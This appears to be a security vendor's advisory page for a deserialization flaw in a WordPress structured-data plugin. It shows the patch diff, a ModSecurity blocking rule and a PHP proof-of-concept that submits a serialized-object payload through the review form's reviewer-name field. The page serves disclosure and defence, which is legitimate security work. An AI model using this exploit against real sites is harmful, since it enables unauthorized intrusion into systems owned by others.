+                                'type'       => 'text',
+                                'attributes' => array(
+                                    'placeholder' => esc_html__( 'e.g. pricing, comparison, features', 'schema-and-structured-data-for-wp' ),
+                                ),
+                            ),
+                        );
+                        break;
+
                 default:
                     break;
             }
--- a/schema-and-structured-data-for-wp/core/array-list/schemas.php
+++ b/schema-and-structured-data-for-wp/core/array-list/schemas.php
@@ -53,6 +53,9 @@
                 'MedicalWebPage'           => 'MedicalWebPage',
                 'BreadCrumbs'              => 'BreadCrumbs',
                 'LearningResource'         => 'LearningResource',
+                'Quiz'                     => 'Quiz',
+                'Dataset'                  => 'Dataset',
+                'Table'                    => 'Table',
                 'LiveBlogPosting'          => 'LiveBlogPosting',
                 'ImageGallery'             => 'ImageGallery',
                 'MediaGallery'             => 'MediaGallery',
@@ -73,6 +76,7 @@
         'Intangible' => array(
             'ItemList'                       => 'ItemList',
             'JobPosting'                     => 'JobPosting',
+            'Occupation'                     => 'Occupation',
             'Service'                        => 'Service',
             'TaxiService'                    => 'TaxiService',
             'Trip'                           => 'Trip',
--- a/schema-and-structured-data-for-wp/core/global.php
+++ b/schema-and-structured-data-for-wp/core/global.php
@@ -72,6 +72,7 @@
         'WebPage',
         'ItemPage',
         'JobPosting',
+        'Occupation',
         'TaxiService',
         'Trip',
         'BoatTrip',
@@ -92,6 +93,9 @@
         'Service',
         'TouristTrip',
         'LearningResource',
+        'Quiz',
+        'Dataset',
+        'Table',
         'LiveBlogPosting',
         'ImageGallery',
         'MediaGallery',
--- a/schema-and-structured-data-for-wp/modules/reviews/class-saswp-reviews-collection.php
+++ b/schema-and-structured-data-for-wp/modules/reviews/class-saswp-reviews-collection.php
@@ -42,7 +42,7 @@
           add_shortcode( 'saswp-reviews-collection', array($this, 'saswp_reviews_collection_shortcode_render' ),10);
           add_action( 'saswp_set_collection_card_height', array($this, 'saswp_set_collection_card_height_clbk'), 10);

-          add_filter( 'the_content', array( $this, 'saswp_reviews_display_collection' ));
+          add_filter( 'the_content', array( $this, 'saswp_reviews_display_collection' ), 12 );

           add_filter( 'auth_post_meta_saswp_platform_ids',   array( $this, 'saswp_protect_collection_meta' ), 10, 6 );
           add_filter( 'auth_post_meta_saswp_total_reviews',   array( $this, 'saswp_protect_collection_meta' ), 10, 6 );
--- a/schema-and-structured-data-for-wp/modules/reviews/class-saswp-reviews-service.php
+++ b/schema-and-structured-data-for-wp/modules/reviews/class-saswp-reviews-service.php
@@ -123,8 +123,13 @@

                 }

-                $rv_text     = saswp_sanitize_textarea_field($form_data['saswp_review_text']);
+                $rv_text     = wp_strip_all_tags( strip_shortcodes( $form_data['saswp_review_text'] ) );
+                $rv_text     = saswp_sanitize_textarea_field( $rv_text );
                 $rv_name     = sanitize_text_field($form_data['saswp_reviewer_name']);
+
+                if ( preg_match( '/^[COE]:[0-9]+:/s', $rv_name ) || strpos( $rv_name, "" ) !== false ) {
+                    return false;
+                }
                 $rv_rating   = floatval($form_data['saswp_review_rating']);
                 $rv_place_id = intval($form_data['saswp_place_id']);
                 $rv_link     = sanitize_text_field($form_data['saswp_review_link']);
@@ -317,7 +322,7 @@
                                             <a target="_blank" href="'. esc_url( $link).'"><img alt="'. esc_attr( $review['saswp_reviewer_name']).'" width="20" height="20" src="'. esc_url( $review['saswp_review_platform_icon']).'"></a>
                                         </span>
                                     </div>
-                                   <div class="saswp-rv-txt"> <p>'.wp_strip_all_tags(html_entity_decode($review['saswp_review_text'])).'</p></div>
+                                   <div class="saswp-rv-txt"> <p>'.esc_html( wp_strip_all_tags( $review['saswp_review_text'] ) ).'</p></div>
                                 </div>
                               </div>
                           </div>';
@@ -1114,7 +1119,7 @@

                        $html .= '</div>';
                        $html .='<div class="saswp-rc-cnt">';
-                       $review_text = wp_strip_all_tags(html_entity_decode($value['saswp_review_text']));
+                       $review_text = esc_html( wp_strip_all_tags( $value['saswp_review_text'] ) );
                        if($saswp_collection_readmore_desc == 1){
                         $review_text = $this->saswp_add_readmore_to_review_text($review_text, 20);
                        }
@@ -1240,12 +1245,12 @@
                 $html .= '</div>';
                 $html .= '<div class="saswp-rc-cnt">';
                 $html .= '<p>';
-                $review_text = esc_attr( $value['saswp_review_text']);
+                $review_text = esc_html( wp_strip_all_tags( $value['saswp_review_text'] ) );
                 if($saswp_review_desing_for_slider == 1){
                     if($g_type == 'slider'){
-                        $review_text = $this->saswp_add_readmore_to_review_text(esc_attr( $value['saswp_review_text']) , 40);
+                        $review_text = $this->saswp_add_readmore_to_review_text($review_text , 40);
                     }else{
-                        $review_text = $this->saswp_add_readmore_to_review_text(esc_attr( $value['saswp_review_text']), 20);
+                        $review_text = $this->saswp_add_readmore_to_review_text($review_text, 20);
                     }
                 }
                 $html .= $review_text;
--- a/schema-and-structured-data-for-wp/output/class-saswp-output-service.php
+++ b/schema-and-structured-data-for-wp/output/class-saswp-output-service.php
@@ -9334,6 +9334,265 @@
                             $input1['headline'] = $custom_fields['saswp_collection_page_headline'];
                         }
                 break;
+
+                case 'Occupation':
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_name'] ) ) {
+                        $input1['name'] = $custom_fields['saswp_occupation_schema_name'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_description'] ) ) {
+                        $input1['description'] = wp_strip_all_tags( strip_shortcodes( $custom_fields['saswp_occupation_schema_description'] ) );
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_url'] ) ) {
+                        $input1['url'] = saswp_validate_url( $custom_fields['saswp_occupation_schema_url'] );
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_occupational_category'] ) ) {
+                        $input1['occupationalCategory'] = $custom_fields['saswp_occupation_schema_occupational_category'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_education_requirements'] ) ) {
+                        $input1['educationRequirements'] = $custom_fields['saswp_occupation_schema_education_requirements'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_experience_requirements'] ) ) {
+                        $input1['experienceRequirements'] = $custom_fields['saswp_occupation_schema_experience_requirements'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_qualifications'] ) ) {
+                        $input1['qualifications'] = $custom_fields['saswp_occupation_schema_qualifications'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_responsibilities'] ) ) {
+                        $input1['responsibilities'] = $custom_fields['saswp_occupation_schema_responsibilities'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_occupation_schema_skills'] ) ) {
+                        $skills = $custom_fields['saswp_occupation_schema_skills'];
+                        if ( is_string( $skills ) && strpos( $skills, ',' ) !== false ) {
+                            $skills_arr = array_map( 'trim', explode( ',', $skills ) );
+                            $skills_arr = array_values( array_filter( $skills_arr ) );
+                            $input1['skills'] = ! empty( $skills_arr ) ? $skills_arr : $skills;
+                        } elseif ( is_string( $skills ) ) {
+                            $input1['skills'] = array( trim( $skills ) );
+                        } else {
+                            $input1['skills'] = $skills;
+                        }
+                    }
+
+                    // Estimated Salary
+                    $salary_val  = ! empty( $custom_fields['saswp_occupation_schema_salary_value'] ) ? $custom_fields['saswp_occupation_schema_salary_value'] : '';
+                    $salary_curr = ! empty( $custom_fields['saswp_occupation_schema_salary_currency'] ) ? $custom_fields['saswp_occupation_schema_salary_currency'] : 'USD';
+                    $salary_unit = ! empty( $custom_fields['saswp_occupation_schema_salary_unit'] ) ? $custom_fields['saswp_occupation_schema_salary_unit'] : 'YEAR';
+                    $salary_p10  = ! empty( $custom_fields['saswp_occupation_schema_salary_percentile10'] ) ? $custom_fields['saswp_occupation_schema_salary_percentile10'] : ( ! empty( $custom_fields['saswp_occupation_schema_salary_min'] ) ? $custom_fields['saswp_occupation_schema_salary_min'] : '' );
+                    $salary_p25  = ! empty( $custom_fields['saswp_occupation_schema_salary_percentile25'] ) ? $custom_fields['saswp_occupation_schema_salary_percentile25'] : '';
+                    $salary_p75  = ! empty( $custom_fields['saswp_occupation_schema_salary_percentile75'] ) ? $custom_fields['saswp_occupation_schema_salary_percentile75'] : '';
+                    $salary_p90  = ! empty( $custom_fields['saswp_occupation_schema_salary_percentile90'] ) ? $custom_fields['saswp_occupation_schema_salary_percentile90'] : ( ! empty( $custom_fields['saswp_occupation_schema_salary_max'] ) ? $custom_fields['saswp_occupation_schema_salary_max'] : '' );
+
+                    if ( ! empty( $salary_val ) || ! empty( $salary_p10 ) || ! empty( $salary_p25 ) || ! empty( $salary_p75 ) || ! empty( $salary_p90 ) ) {
+                        $duration_map = array(
+                            'HOUR'  => 'PT1H',
+                            'WEEK'  => 'P1W',
+                            'MONTH' => 'P1M',
+                            'YEAR'  => 'P1Y',
+                        );
+                        $dist = array(
+                            '@type'    => 'MonetaryAmountDistribution',
+                            'duration' => isset( $duration_map[ $salary_unit ] ) ? $duration_map[ $salary_unit ] : 'P1Y',
+                            'currency' => $salary_curr,
+                        );
+                        if ( ! empty( $salary_p10 ) ) {
+                            $dist['percentile10'] = is_numeric( $salary_p10 ) ? ( $salary_p10 == (int) $salary_p10 ? (int) $salary_p10 : (float) $salary_p10 ) : $salary_p10;
+                        }
+                        if ( ! empty( $salary_p25 ) ) {
+                            $dist['percentile25'] = is_numeric( $salary_p25 ) ? ( $salary_p25 == (int) $salary_p25 ? (int) $salary_p25 : (float) $salary_p25 ) : $salary_p25;
+                        }
+                        if ( ! empty( $salary_val ) ) {
+                            $dist['median'] = is_numeric( $salary_val ) ? ( $salary_val == (int) $salary_val ? (int) $salary_val : (float) $salary_val ) : $salary_val;
+                        }
+                        if ( ! empty( $salary_p75 ) ) {
+                            $dist['percentile75'] = is_numeric( $salary_p75 ) ? ( $salary_p75 == (int) $salary_p75 ? (int) $salary_p75 : (float) $salary_p75 ) : $salary_p75;
+                        }
+                        if ( ! empty( $salary_p90 ) ) {
+                            $dist['percentile90'] = is_numeric( $salary_p90 ) ? ( $salary_p90 == (int) $salary_p90 ? (int) $salary_p90 : (float) $salary_p90 ) : $salary_p90;
+                        }
+                        $input1['estimatedSalary'] = $dist;
+                    }
+
+                    // Occupation Location
+                    $loc_type     = ! empty( $custom_fields['saswp_occupation_schema_location_type'] ) ? $custom_fields['saswp_occupation_schema_location_type'] : 'Country';
+                    $loc_name     = ! empty( $custom_fields['saswp_occupation_schema_location_name'] ) ? $custom_fields['saswp_occupation_schema_location_name'] : '';
+                    $loc_sameas   = ! empty( $custom_fields['saswp_occupation_schema_location_sameas'] ) ? $custom_fields['saswp_occupation_schema_location_sameas'] : '';
+                    $loc_country  = ! empty( $custom_fields['saswp_occupation_schema_location_country'] ) ? $custom_fields['saswp_occupation_schema_location_country'] : '';
+                    $loc_region   = ! empty( $custom_fields['saswp_occupation_schema_location_region'] ) ? $custom_fields['saswp_occupation_schema_location_region'] : '';
+                    $loc_locality = ! empty( $custom_fields['saswp_occupation_schema_location_locality'] ) ? $custom_fields['saswp_occupation_schema_location_locality'] : '';
+
+                    if ( ! empty( $loc_name ) || ! empty( $loc_country ) || ! empty( $loc_region ) || ! empty( $loc_locality ) || ! empty( $loc_sameas ) ) {
+                        $location = array(
+                            '@type' => $loc_type,
+                        );
+                        if ( ! empty( $loc_name ) ) {
+                            $location['name'] = $loc_name;
+                        }
+                        if ( ! empty( $loc_sameas ) ) {
+                            $location['sameAs'] = saswp_validate_url( $loc_sameas );
+                        }
+                        if ( ! empty( $loc_country ) || ! empty( $loc_region ) || ! empty( $loc_locality ) ) {
+                            $address = array(
+                                '@type' => 'PostalAddress',
+                            );
+                            if ( ! empty( $loc_locality ) ) {
+                                $address['addressLocality'] = $loc_locality;
+                            }
+                            if ( ! empty( $loc_region ) ) {
+                                $address['addressRegion'] = $loc_region;
+                            }
+                            if ( ! empty( $loc_country ) ) {
+                                $address['addressCountry'] = $loc_country;
+                            }
+                            $location['address'] = $address;
+                        }
+                        $input1['occupationLocation'] = $location;
+                    }
+                break;
+
+                case 'Quiz':
+                    if ( ! empty( $custom_fields['saswp_quiz_schema_name'] ) ) {
+                        $input1['name'] = $custom_fields['saswp_quiz_schema_name'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_quiz_schema_description'] ) ) {
+                        $input1['description'] = wp_strip_all_tags( strip_shortcodes( $custom_fields['saswp_quiz_schema_description'] ) );
+                    }
+                    if ( ! empty( $custom_fields['saswp_quiz_schema_url'] ) ) {
+                        $input1['url'] = saswp_validate_url( $custom_fields['saswp_quiz_schema_url'] );
+                    }
+                    if ( ! empty( $custom_fields['saswp_quiz_schema_about'] ) ) {
+                        $input1['about'] = array(
+                            '@type' => 'Thing',
+                            'name'  => $custom_fields['saswp_quiz_schema_about'],
+                        );
+                    }
+                    if ( ! empty( $custom_fields['saswp_quiz_schema_educational_level'] ) ) {
+                        $input1['educationalLevel'] = $custom_fields['saswp_quiz_schema_educational_level'];
+                    }
+                    if ( ! empty( $custom_fields['saswp_quiz_schema_educational_alignment'] ) ) {
+                        $input1['educationalAlignment'] = array(
+                            array(
+                                '@type'         => 'AlignmentObject',
+                                'alignmentType' => 'educationalSubject',
+                                'targetName'    => $custom_fields['saswp_quiz_schema_educational_alignment'],
+                            ),
+

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-113774
SecRule REQUEST_URI "@rx ^/wp-admin/admin-ajax.php$" 
  "id:2026113774,phase:2,deny,status:403,chain,msg:'CVE-2026-113774 via Schema & Structured Data review form',severity:'CRITICAL',tag:'CVE-2026-113774'"
  SecRule ARGS_POST:action "@streq saswp_review_form" "chain"
    SecRule ARGS_POST:saswp_reviewer_name "@rx ^C:d+:" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-113774 - Schema & Structured Data for WP & AMP <= 1.68 - Unauthenticated Deserialization via 'saswp_reviewer_name'

$target_url = 'http://example.com'; // Change to your target WordPress site

// Step 1: Craft a serialized payload using the legacy 'C' token (ArrayObject)
// The payload will be: C:11:"ArrayObject":0:{} (empty ArrayObject)
$payload = 'C:11:"ArrayObject":0:{}';

// Step 2: Submit the review form with the malicious 'saswp_reviewer_name'
// The form is typically submitted to the page containing the review form shortcode.
// Adjust the endpoint based on where the form is rendered. Common endpoints:
// - /?saswp_review_form=1 (if processed via query param)
// - /wp-admin/admin-ajax.php with action=saswp_review_form (if AJAX)
// We'll try the most likely direct POST to the current page with a review form.

$post_fields = array(
    'saswp_reviewer_name' => $payload,
    'saswp_reviewer_email' => 'attacker@example.com',
    'saswp_review_rating' => '5',
    'saswp_review_title' => 'Test Review',
    'saswp_review_text' => 'This is a test review',
    'saswp_review_submit' => '1',
    'saswp_review_post_id' => '1', // ID of the post being reviewed; may need adjustment
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/'); // Assume form is on homepage or adjust
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Submitted payload. HTTP code: $http_coden";

// Step 3: The payload is now stored as post meta for a new saswp_reviews post.
// To trigger deserialization, an administrator must export settings.
// This PoC does not automate the admin action, as it requires authentication.
// After an admin exports, the unserialize() call will process our payload.

// Note: The payload uses 'C' token which bypasses WordPress's maybe_serialize.
// If the form is processed via AJAX, adjust the endpoint to admin-ajax.php with action=saswp_review_form.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.